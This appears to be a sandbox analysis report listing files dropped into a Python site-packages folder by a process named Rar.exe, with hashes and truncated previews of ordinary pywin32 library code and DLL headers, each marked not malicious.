SHA-512:	E85CD425286184BD8DF76F5A38A4549EE62E2D75A50893ECA56C5CA4A5251CCA3F752608C759E79D47AB522F650B31AEF416360B6B83781D4ACCF308215D9E72
Malicious:	false
Reputation:	low
Preview:	import os.import struct..import pywintypes.import win32api.import win32com.directsound.directsound as ds.import win32event...def wav_header_pack(wfx, datasize):. return struct.pack(. "<4sl4s4slhhllhh4sl",. "RIFF",. 36 + datasize,. "WAVE",. "fmt ",. 16,. wfx.wFormatTag,. wfx.nChannels,. wfx.nSamplesPerSec,. wfx.nAvgBytesPerSec,. wfx.nBlockAlign,. wfx.wBitsPerSample,. "data",. datasize,. )...d = ds.DirectSoundCaptureCreate(None, None)..sdesc = ds.DSCBUFFERDESC().sdesc.dwBufferBytes = 352800 # 2 seconds.sdesc.lpwfxFormat = pywintypes.WAVEFORMATEX().sdesc.lpwfxFormat.wFormatTag = pywintypes.WAVE_FORMAT_PCM.sdesc.lpwfxFormat.nChannels = 2.sdesc.lpwfxFormat.nSamplesPerSec = 44100.sdesc.lpwfxFormat.nAvgBytesPerSec = 176400.sdesc.lpwfxFormat.nBlockAlign = 4.sdesc.lpwfxFormat.wBitsPerSample = 16..print(sdesc).print(d).buffer = d.CreateCaptureBuffer(sdesc)..event = win32event.CreateEvent(None

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\directsound\test\ds_test.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12961
Entropy (8bit):	4.826440754319716
Encrypted:	false
SSDEEP:	192:1nyFkSYUXsK30TnI7aTr8MKrDoB+ghwzN2PVcwzN2PjZRXnZOFvjEq:1E5ETnI7aDKP8bnOZR3ZON
MD5:	18C3F46087F83FE4877AAD85FA9C52C1
SHA1:	A4AE6F8025C7BEEDB6EEE5EC7BF4937094951AFF
SHA-256:	D4A1A4CDCEE2AFBA48FFA16DD106B28F905D6BFEB94F3AE374D0235E2FB919D7
SHA-512:	1B6258266DD2BBFB57438995FCEED5A227E1F978A277599A7541418C588E054FB64449C2BC302304101EFD6F3AC4BFAF3280010F37853D0994B3048CC4683756
Malicious:	false
Reputation:	low
Preview:	import os.import struct.import sys.import unittest..import pythoncom.import pywintypes.import win32api.import win32com.directsound.directsound as ds.import win32event.from pywin32_testutil import TestSkipped, find_test_fixture..# next two lines are for for debugging:.# import win32com.# import directsound as ds..WAV_FORMAT_PCM = 1.WAV_HEADER_SIZE = struct.calcsize("<4sl4s4slhhllhh4sl")...def wav_header_unpack(data):. (. riff,. riffsize,. wave,. fmt,. fmtsize,. format,. nchannels,. samplespersecond,. datarate,. blockalign,. bitspersample,. data,. datalength,. ) = struct.unpack("<4sl4s4slhhllhh4sl", data).. if riff != b"RIFF":. raise ValueError("invalid wav header").. if fmtsize != 16 or fmt != b"fmt " or data != b"data":. # fmt chuck is not first chunk, directly followed by data chuck. # It is nowhere required that they are, it is just very common. raise Val

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\ifilter\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.931286772251353
Encrypted:	false
SSDEEP:	3:St6F0MCwmFCuEvn:StiCwyDEv
MD5:	916CF97F5E542525C324DB1ED384D4E2
SHA1:	467D1EDB3C96F911D81B6A3FC1168BB8311CC910
SHA-256:	3F203F2B51718A49D2EBDFFDC73EDF022B70DA18F6ED35EC184DBB1B3C45D951
SHA-512:	CFFADA533B9CA2595122EE52B26C9B4D3AF69B7EF21400AE6CFB7F7AEE251DFFD6D1297A60E1F880D0EE5D744E27967685BCB218ABBFEDD708AB7D7F945A3AD5
Malicious:	false
Reputation:	low
Preview:	# empty file to designate as a package..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\ifilter\demo\filterDemo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11463
Entropy (8bit):	4.154343121449287
Encrypted:	false
SSDEEP:	192:3zE1Vd6W4Js8Ul84w7fobWjLTrLfuMw2240Nwh:3zE1VQW42o7QCj7jw22bY
MD5:	7BA17F3EBA067CACFF36F589C898ABD2
SHA1:	A828387A130628E678092379F630355A12C742A9
SHA-256:	357459402A50103692E99BAF675E46EFBCA764633F58B789015E1280A5AF16B3
SHA-512:	8AF8BD1EF99E0833EFE9589B5D8F9CDF3FA3E007DDE655937CE9F7B65F9F86EDEEA10D44A78B2B69FAC368870DE8A244A136F6F2275FC6BC776B2D9D1074C150
Malicious:	false
Reputation:	low
Preview:	import pythoncom.import pywintypes.from win32com import storagecon.from win32com.ifilter import ifilter.from win32com.ifilter.ifiltercon import *...class FileParser:. # Property IDs for the Storage Property Set. PIDS_BODY = 0x00000013.. # property IDs for HTML Storage Property Set. PIDH_DESCRIPTION = "DESCRIPTION". PIDH_HREF = "A.HREF". PIDH_IMGSRC = "IMG.SRC".. # conversion map to convert ifilter properties to more user friendly names. propertyToName = {. PSGUID_STORAGE: {PIDS_BODY: "body"},. PSGUID_SUMMARYINFORMATION: {. PIDSI_TITLE: "title",. PIDSI_SUBJECT: "description",. PIDSI_AUTHOR: "author",. PIDSI_KEYWORDS: "keywords",. PIDSI_COMMENTS: "comments",. },. PSGUID_HTMLINFORMATION: {PIDH_DESCRIPTION: "description"},. PSGUID_HTML2_INFORMATION: {PIDH_HREF: "href", PIDH_IMGSRC: "img"},. }.. def __init__(self, verbose=False):. self.f = None. self.stg = No

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\ifilter\ifilter.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	5.998642276753337
Encrypted:	false
SSDEEP:	384:Z+gfqEqckW7lXJD4M0OcjGYjn8gGWx/8ABcELbMqchFgcwFo4epZ:Z99lXJDp0ONYjZGWn3Lb5chFTEo4e
MD5:	1807318382DF73EEA8FD6EABF481CC91
SHA1:	C53A6CE3F30ACE42BAD67656378D072B0C0B75FB
SHA-256:	E1D0069E77C39B17223D28D42F099AC38A135D5203E5C250B9695631731F8E06
SHA-512:	EBFFFB074788136974B411D9C00D5D3AE85F6ABF9642C83D8E9DCD7F7EA280F58BFA88CA5695BEF02C88997DDE032F58A92249289DCD1778553DBAAB1DBEB02C
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............e...e...e....Z..e.......e.......e.......e.......e.......e.......e..c....e.......e...e...e..c....e..c....e..c....e..Rich.e..........................PE..L......d...........!....."...<.......".......@............................................@.........................0b..P....b..........T............................Y..T...........................@Z..@............@..l............................text....!.......".................. ..`.rdata..l....@...0...&..............@..@.data........p.......V..............@....rsrc...T............X..............@..@.reloc...............\..............@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\ifilter\ifiltercon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3159
Entropy (8bit):	4.923767823689655
Encrypted:	false
SSDEEP:	48:uU/UEZAydqhM8pl3eN7izQWpWMzpMHoReRKXZ+tv+uhGJqHaJR5BxZk:uHE+iqhM8pUNqIKRR+KJ+tL+FR5k
MD5:	7B6C258D30B63A234095143676B22ADF
SHA1:	E51FF7615A067A317D9B051D1C67A4299D70C166
SHA-256:	04323EB37D2D2168D97F350F6A8D7342E33539B8296B686C8CDCFE926803D078
SHA-512:	CDF1AEBCA7ECFF49BDA08D42941AC87013382909B35B812B6FAF2034A2FE9D486964CF5DB06D55EFB68DA9358B42E085D184E89F26A3996E02C13EDCC891202A
Malicious:	false
Reputation:	low
Preview:	# manual stuff.from pywintypes import IID..PSGUID_STORAGE = IID("{B725F130-47EF-101A-A5F1-02608C9EEBAC}").PSGUID_SUMMARYINFORMATION = IID("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}").PSGUID_HTMLINFORMATION = IID("{D1B5D3F0-C0B3-11CF-9A92-00A0C908DBF1}").PSGUID_HTML2_INFORMATION = IID("{C82BF597-B831-11D0-B733-00AA00A1EBD2}")..IFILTER_INIT_CANON_PARAGRAPHS = 1.IFILTER_INIT_HARD_LINE_BREAKS = 2.IFILTER_INIT_CANON_HYPHENS = 4.IFILTER_INIT_CANON_SPACES = 8.IFILTER_INIT_APPLY_INDEX_ATTRIBUTES = 16.IFILTER_INIT_APPLY_CRAWL_ATTRIBUTES = 256.IFILTER_INIT_APPLY_OTHER_ATTRIBUTES = 32.IFILTER_INIT_INDEXING_ONLY = 64.IFILTER_INIT_SEARCH_LINKS = 128.IFILTER_INIT_FILTER_OWNED_VALUE_OK = 512..IFILTER_FLAGS_OLE_PROPERTIES = 1..CHUNK_TEXT = 0x1.CHUNK_VALUE = 0x2.CHUNK_NO_BREAK = 0.CHUNK_EOW = 1.CHUNK_EOS = 2.CHUNK_EOP = 3.CHUNK_EOC = 4..NOT_AN_ERROR = 0x00080000.FILTER_E_END_OF_CHUNKS = -2147215616.FILTER_E_NO_MORE_TEXT = -2147215615.FILTER_E_NO_MORE_VALUES = -2147215614.FILTER_E_ACCESS = -2147215613.FILT

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\internet\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Reputation:	low
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\internet\inetcon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11618
Entropy (8bit):	4.753110597909261
Encrypted:	false
SSDEEP:	192:CkogxzQ/H0kIgXgs+jvADyDE2DEYkEiiPqFrufN5ZuN6UuC:HooQ/0kIq+jvADyzbqiPqFrufN5ZuN6a
MD5:	A2CEED6223F6CCC8989F7B3E0A6B1C84
SHA1:	FA03E36EDF3FF88F9C0DA3A04A0147CB1814049B
SHA-256:	EC610923C9B22E554C898AB178AB36530212E68552E4B309E42D71F4C19503B5
SHA-512:	AD5EB56D329ED16ADAE2D152F2B5ECE5A431AB06B26C6BD4F0A47A1A52CC363B8FD72BEA69FA3DE3FECE0EFCCC2E5D27F3829970438B6288AAE54A2992161DD3
Malicious:	false
Reputation:	low
Preview:	INET_E_USE_DEFAULT_PROTOCOLHANDLER = -2146697199 # _HRESULT_TYPEDEF_(0x800C0011L).INET_E_USE_DEFAULT_SETTING = -2146697198 # _HRESULT_TYPEDEF_(0x800C0012L).INET_E_DEFAULT_ACTION = INET_E_USE_DEFAULT_PROTOCOLHANDLER.INET_E_QUERYOPTION_UNKNOWN = -2146697197 # _HRESULT_TYPEDEF_(0x800C0013L).INET_E_REDIRECTING = -2146697196 # _HRESULT_TYPEDEF_(0x800C0014L)..INET_E_INVALID_URL = -2146697214 # _HRESULT_TYPEDEF_(0x800C0002L).INET_E_NO_SESSION = -2146697213 # _HRESULT_TYPEDEF_(0x800C0003L).INET_E_CANNOT_CONNECT = -2146697212 # _HRESULT_TYPEDEF_(0x800C0004L).INET_E_RESOURCE_NOT_FOUND = -2146697211 # _HRESULT_TYPEDEF_(0x800C0005L).INET_E_OBJECT_NOT_FOUND = -2146697210 # _HRESULT_TYPEDEF_(0x800C0006L).INET_E_DATA_NOT_AVAILABLE = -2146697209 # _HRESULT_TYPEDEF_(0x800C0007L).INET_E_DOWNLOAD_FAILURE = -2146697208 # _HRESULT_TYPEDEF_(0x800C0008L).INET_E_AUTHENTICATION_REQUIRED = -2146697207 # _HRESULT_TYPEDEF_(0x800C0009L).INET_E_NO_VALID_MEDIA = -2146697206 # _HRESULT_TYPEDEF_(0x800C000

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\internet\internet.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.334392782370234
Encrypted:	false
SSDEEP:	768:3x71++STYNps85Z7ZnZ00JcGWs8xMyWFcMP6EK8Dtlu/zKspEd2wTCejorf2bJOE:U2t8xWckeOatnBrX3szzW2gXPfAWq
MD5:	9A8C332F3E0825889F746622CB686911
SHA1:	8E05873EB2ACBE42390767AD23C878D8726E3C58
SHA-256:	54253D5AB7634E78CA88F91F3BEBE6328F2C5144EEC6BCD657D655A7BC38D05D
SHA-512:	707F84B1518397F2ACA593D62D95112244E4E05E122D384BD3258C8144BAF75B9CDB3346B01AA8DB2E1AF51F73AA95A0E31F9D6379B3A5847C1759309A0764C3
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9X..X6G.X6G.X6G. .G.X6G.-7F.X6G.-3F.X6G.-2F.X6G.-5F.X6G.32F.X6G)17F.X6GO-7F.X6G.37F.X6G.X7G.X6GO-?F.X6GO-6F.X6GO-4F.X6GRich.X6G................PE..L......d...........!................X........................................`............@.............................P...`........0..\....................@..........T........................... ...@...............D............................text............................... ..`.rdata...e.......f..................@..@.data...............................@....rsrc...\....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\mapi\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	598
Entropy (8bit):	4.452174489930338
Encrypted:	false
SSDEEP:	12:h6L9yKlip4fwRw2oliOzd/zEMzNmRw2oliS4LZwRwqxRLHpCvqRKzAS6v:sJlY4EwFzlzEeNWwFx4LiwrrUJv
MD5:	9DC0B96E4086115BFA0124F10DE8DF27
SHA1:	12D70C7C9CE86D0DD497CD4B18982EC2A3A1F8F8
SHA-256:	2DB6C9A3EFC87F2A774F1D63D09EF649DCA0F764F5317C76B145595E8608699A
SHA-512:	9369BE70DBD6DBA5A108AFBE83686F42BB65EF2526D7C9015BA2D97A86CCAEC6CF40E4A8F9BF5BDC61ECDFCA10032508A57335CC540087857D613650F343A858
Malicious:	false
Reputation:	low
Preview:	if type(__path__) == type(""):. # For freeze to work!. import sys.. try:. import mapi.. sys.modules["win32com.mapi.mapi"] = mapi. except ImportError:. pass. try:. import exchange.. sys.modules["win32com.mapi.exchange"] = exchange. except ImportError:. pass. try:. import exchdapi.. sys.modules["win32com.mapi.exchdapi"] = exchdapi. except ImportError:. pass.else:. import win32com.. # See if we have a special directory for the binaries (for developers). win32com.__PackageSupportBuildPath__(__path__).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\mapi\demos\mapisend.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	4.925300298608504
Encrypted:	false
SSDEEP:	96:XxnSR8qvUhcfj2YvwxlQemLmm58mNyYGrj+:XxSDfjnvwxuDLKri
MD5:	2330E0C56C096DD1817F4DD7F640D053
SHA1:	6C79E8F892F50AEB538833DB612BB94CDF76CB70
SHA-256:	1CD1A8B5147BE673262F63E784C23FD2611887D9EEEC3AB49AF260931489B3C2
SHA-512:	33EA73AC64FABCF3938B38C3BF502C8DFC4C444BA2D784BD52E277B28A0F9E80DF978A2B54659F39932E9D43DEBB9D5DEE35183B8ED5C4274E6D656648913E9D
Malicious:	false
Reputation:	low
Preview:	#!/usr/bin/env python.."""module to send mail with Extended MAPI using the pywin32 mapi wrappers..."""..# this was based on Jason Hattingh's C++ code at http://www.codeproject.com/internet/mapadmin.asp.# written by David Fraser <davidf at sjsoft.com> and Stephen Emslie <stephene at sjsoft.com>.# you can test this by changing the variables at the bottom and running from the command line..from win32com.mapi import mapi, mapitags...def SendEMAPIMail(. Subject="", Message="", SendTo=None, SendCC=None, SendBCC=None, MAPIProfile=None.):. """Sends an email to the recipient using the extended MAPI interface. Subject and Message are strings. Send{To,CC,BCC} are comma-separated address lists. MAPIProfile is the name of the MAPI profile""".. # initialize and log on. mapi.MAPIInitialize(None). session = mapi.MAPILogonEx(. 0, MAPIProfile, None, mapi.MAPI_EXTENDED \| mapi.MAPI_USE_DEFAULT. ). messagestorestable = session.GetMsgStoresTable(0). messagestorestable

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\mapi\emsabtags.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	49320
Entropy (8bit):	4.713409859343289
Encrypted:	false
SSDEEP:	768:LEeEtNDu70C67HySIPPrn/ft7rQI+sUQqF5v:LEeEtN+0C67HySIPD/ft7rQI+sUXF5v
MD5:	EA8F034EB98534C75F272B8439069E23
SHA1:	91911B94EE35A6393FD89150B5990722193A20B7
SHA-256:	9CD4D0847A677387AD43A9E27C45AFFE8DCE2B03F3DB5585B191E3D0E2446FBD
SHA-512:	D152007752EEEB1C6BF61F52A7B53763EFB1311B31614CC75DD6DDB8B3A1B1B42B366B29A527FA7FF12C7AA8F588B2D761A64245D11D6471D7BAA7E4BC1BE1ED
Malicious:	false
Reputation:	low
Preview:	# Converted "manually" from EMSABTAG.H.from .mapitags import (. PROP_TAG,. PT_APPTIME,. PT_BINARY,. PT_BOOLEAN,. PT_CLSID,. PT_CURRENCY,. PT_DOUBLE,. PT_ERROR,. PT_FLOAT,. PT_I2,. PT_I4,. PT_I8,. PT_LONG,. PT_LONGLONG,. PT_MV_APPTIME,. PT_MV_BINARY,. PT_MV_CLSID,. PT_MV_CURRENCY,. PT_MV_DOUBLE,. PT_MV_FLOAT,. PT_MV_I2,. PT_MV_I4,. PT_MV_I8,. PT_MV_LONG,. PT_MV_LONGLONG,. PT_MV_R4,. PT_MV_R8,. PT_MV_SHORT,. PT_MV_STRING8,. PT_MV_SYSTIME,. PT_MV_TSTRING,. PT_MV_UNICODE,. PT_NULL,. PT_OBJECT,. PT_R4,. PT_SHORT,. PT_STRING8,. PT_SYSTIME,. PT_TSTRING,. PT_UNICODE,. PT_UNSPECIFIED,.)..AB_SHOW_PHANTOMS = 2.AB_SHOW_OTHERS = 4..# Flags for ulFlag on ResolveNames.EMS_AB_ADDRESS_LOOKUP = 1...# Constructed, but externally visible..PR_EMS_AB_SERVER = PROP_TAG(PT_TSTRING, 65534).PR_EMS_AB_SERVER_A = PROP_TAG(PT_STRING8, 65534).PR_EMS_AB_SERVER_W = PROP_TAG(PT_UNICODE, 65534).PR_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\mapi\mapi.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	162304
Entropy (8bit):	6.596400165237489
Encrypted:	false
SSDEEP:	3072:NiUZOyQPazr+cFBwEsQkNuG/vYkZ4JIJUUienvbDy+:NiU7SQwRvRZ4KJUUNvb
MD5:	9387B5DBD459972655D7B59EE03AE708
SHA1:	5D73A2D0F3AD53F63C31173F6B32DD38E8CA9B28
SHA-256:	724A46CF68AE5EBEDD842CCC523FF4E41985A543326D62BB82A5983530362762
SHA-512:	4FCA0E27E90E8BC73BAAFA9A9EFD50231B8B8AD41797A54B5DB7363F44874D8A0B732B7FB6B87193BC4B12E5CDDA8AF37F92FF09E13D4E2A21E790A1D0AD3AFF
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}9V..W...W...W..d....W..iV...W..iR...W..iS...W..iT...W.TiV...W..wS...W.2uV...W..wV...W...V.2.W.Ti^...W.TiW...W.TiU...W.Rich..W.................PE..L......d...........!................w}....................................................@.........................P+..H....+..........L.......................P8......T...........................@...@............................................text...+........................... ..`.rdata..B...........................@..@.data....%...P......................@....rsrc...L............<..............@..@.reloc..P8.......:...@..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\mapi\mapitags.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	51436
Entropy (8bit):	4.950931920129641
Encrypted:	false
SSDEEP:	768:/NSkrYNyFN+Hw+TtyYCay1V1b2a/HpNp/:XrYNyFN+Hw+hyYCayzHpNp/
MD5:	2CF7198F848CE136CD67A81D89FD1C2F
SHA1:	82F94791179550740AC42EF06F3483C212AABE38
SHA-256:	4AABD2B46EDDE811134333BF637088E6110C6B2849FFF1C0301DA365DDACF5BB
SHA-512:	CFC2958555B19D76C34DD251088C813E49EA6A9DD310490106819353EB7A3479319FD50092BA55A2A41AAAC7AF71A1AAA56CBC5274A8FE4EA74932884B3537AE
Malicious:	false
Reputation:	low
Preview:	MV_FLAG = 4096 # Multi-value flag..PT_UNSPECIFIED = 0.PT_NULL = 1.PT_I2 = 2.PT_LONG = 3.PT_R4 = 4.PT_DOUBLE = 5.PT_CURRENCY = 6.PT_APPTIME = 7.PT_ERROR = 10.PT_BOOLEAN = 11.PT_OBJECT = 13.PT_I8 = 20.PT_STRING8 = 30.PT_UNICODE = 31.PT_SYSTIME = 64.PT_CLSID = 72.PT_BINARY = 258..PT_SHORT = PT_I2.PT_I4 = PT_LONG.PT_FLOAT = PT_R4.PT_R8 = PT_DOUBLE.PT_LONGLONG = PT_I8..PT_MV_I2 = MV_FLAG \| PT_I2.PT_MV_LONG = MV_FLAG \| PT_LONG.PT_MV_R4 = MV_FLAG \| PT_R4.PT_MV_DOUBLE = MV_FLAG \| PT_DOUBLE.PT_MV_CURRENCY = MV_FLAG \| PT_CURRENCY.PT_MV_APPTIME = MV_FLAG \| PT_APPTIME.PT_MV_SYSTIME = MV_FLAG \| PT_SYSTIME.PT_MV_STRING8 = MV_FLAG \| PT_STRING8.PT_MV_BINARY = MV_FLAG \| PT_BINARY.PT_MV_UNICODE = MV_FLAG \| PT_UNICODE.PT_MV_CLSID = MV_FLAG \| PT_CLSID.PT_MV_I8 = MV_FLAG \| PT_I8..PT_MV_SHORT = PT_MV_I2.PT_MV_I4 = PT_MV_LONG.PT_MV_FLOAT = PT_MV_R4.PT_MV_R8 = PT_MV_DOUBLE.PT_MV_LONGLONG = PT_MV_I8..PT_TSTRING = PT_UNICODE # ???.PT_MV_TSTRING = MV_FLAG \| PT_UNICODE...PROP_TYPE_MASK = 65535 # Mask for Prope

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\mapi\mapiutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7276
Entropy (8bit):	4.593130231727299
Encrypted:	false
SSDEEP:	96:bY5s4PHIsQgecTdZuFlevL8BCvjuo4VVKPRZ27hA66bXQPSNuG1oGMYceMIH71LS:cFRecTPyevhvKT2RMyiwjE+4
MD5:	075C7F5E9CB9FC6385C866FC924A4C22
SHA1:	CA536F458253EFF4BCAF1BC859922182051B1BA7
SHA-256:	357D64E7D2347960A41CC1ABC625A7559B537AE78EDFAD74B9C767CF66B88928
SHA-512:	020AD4CBC119ADD7AB61BFEF1BE14162967FD2B1047AA0221BCE900E945612C42D1B44B8291C7E6E36A04398D35E3ABC559C76B9D91A864A41316374C5517DFA
Malicious:	false
Reputation:	low
Preview:	# General utilities for MAPI and MAPI objects..# We used to use these old names from the 'types' module....TupleType = tuple.ListType = list.IntType = int.import pythoncom.from pywintypes import TimeType..from . import mapi, mapitags..prTable = {}...def GetPropTagName(pt):. if not prTable:. for name, value in mapitags.__dict__.items():. if name[:3] == "PR_":. # Store both the full ID (including type) and just the ID.. # This is so PR_FOO_A and PR_FOO_W are still differentiated,. # but should we get a PT_FOO with PT_ERROR set, we fallback. # to the ID... # String types should have 3 definitions in mapitags.py. # PR_BODY.= PROP_TAG( PT_TSTRING,.4096). # PR_BODY_W.= PROP_TAG( PT_UNICODE, 4096). # PR_BODY_A.= PROP_TAG( PT_STRING8, 4096). # The following change ensures a lookup using only the the. # property id returns the

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\propsys\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.7784235030301256
Encrypted:	false
SSDEEP:	3:SnEbW2:SEbH
MD5:	45224049EC07B287039847222E800760
SHA1:	EC8739A7A29F6642BF5BC6DBA2D4036A0180D440
SHA-256:	CC02539C2EAA6067E144A7C9391F3E5B2AE9ECDB293A769EA18D851E71B8A436
SHA-512:	98945673C71CBA233CC3983D53813483626E5B1BE4EC5E297092F76FE2677BEC3E04A1950BA7BFD8C1C9658AD8456E19CC069A3C86F67BB02BCB2A36DB1CE558
Malicious:	false
Reputation:	low
Preview:	# this is a python package.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\propsys\propsys.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.8690282004403365
Encrypted:	false
SSDEEP:	3072:2sS7bWVZ7JZp8WHDCjXYD2QgqHEkVfNZ6:DSeVZ7JZSkCjXYDJgqkkV
MD5:	6DFB5F1EB67364BB5610B222C6B710E8
SHA1:	96D751A687B74BCE8BE5277A3228D8B3EC72B854
SHA-256:	ABE5965D7662635090B4FA7A5C814B3E68A77659721261102D944C3AB5517A27
SHA-512:	FAE014A53CAD028934CC9172DD8642E00CF2A18B60F552578FD1FE03344F71F266D8693DF704347E3D8D68E0BF0ADB46B1A80CE633022BCB7F66FB03D6A290E3
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............=....A......A......A.........................A....................................Rich...................PE..L......d...........!......................................................................@.........................@.......4...........T...........................0q..T...........................`S..@.......................@....................text............................... ..`.rdata..............................@..@.data...............................@....rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\propsys\pscon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	48622
Entropy (8bit):	5.540142077557078
Encrypted:	false
SSDEEP:	768:K1MBiUiNoCeRDokY3YATb6Db9CbYTYJ8IVMztBa6wb:GMBhiNFHn6Sb
MD5:	1D421DD2742CBEF8E1CCEF15A725B59A
SHA1:	87EEC2599AD35F80AB11A55F1C068944D3FE7BFB
SHA-256:	22CF38BC9BBBB7402D5C9A769C75EDBCD93181503E74506AE340360EF50FD009
SHA-512:	8131DDC13374BC6B4CB9B9BFA65A9A675BDAED5888A44C945856708138EBAE5D2A9C9C0DD2440A145AEEB37F47398E55CAF208367C8BF4DEB2ADFB26472EA7F7
Malicious:	false
Reputation:	low
Preview:	# hand generated from propsys.h..## PROPENUMTYPE, used with IPropertyEnumType.PET_DISCRETEVALUE = 0.PET_RANGEDVALUE = 1.PET_DEFAULTVALUE = 2.PET_ENDRANGE = 3..PDTF_DEFAULT = 0.PDTF_MULTIPLEVALUES = 0x1.PDTF_ISINNATE = 0x2.PDTF_ISGROUP = 0x4.PDTF_CANGROUPBY = 0x8.PDTF_CANSTACKBY = 0x10.PDTF_ISTREEPROPERTY = 0x20.PDTF_INCLUDEINFULLTEXTQUERY = 0x40.PDTF_ISVIEWABLE = 0x80.PDTF_ISQUERYABLE = 0x100.PDTF_ISSYSTEMPROPERTY = 0x80000000.PDTF_MASK_ALL = 0x800001FF..PDVF_DEFAULT = 0.PDVF_CENTERALIGN = 0x1.PDVF_RIGHTALIGN = 0x2.PDVF_BEGINNEWGROUP = 0x4.PDVF_FILLAREA = 0x8.PDVF_SORTDESCENDING = 0x10.PDVF_SHOWONLYIFPRESENT = 0x20.PDVF_SHOWBYDEFAULT = 0x40.PDVF_SHOWINPRIMARYLIST = 0x80.PDVF_SHOWINSECONDARYLIST = 0x100.PDVF_HIDELABEL = 0x200.PDVF_HIDDEN = 0x800.PDVF_CANWRAP = 0x1000.PDVF_MASK_ALL = 0x1BFF..PDDT_STRING = 0.PDDT_NUMBER = 1.PDDT_BOOLEAN = 2.PDDT_DATETIME = 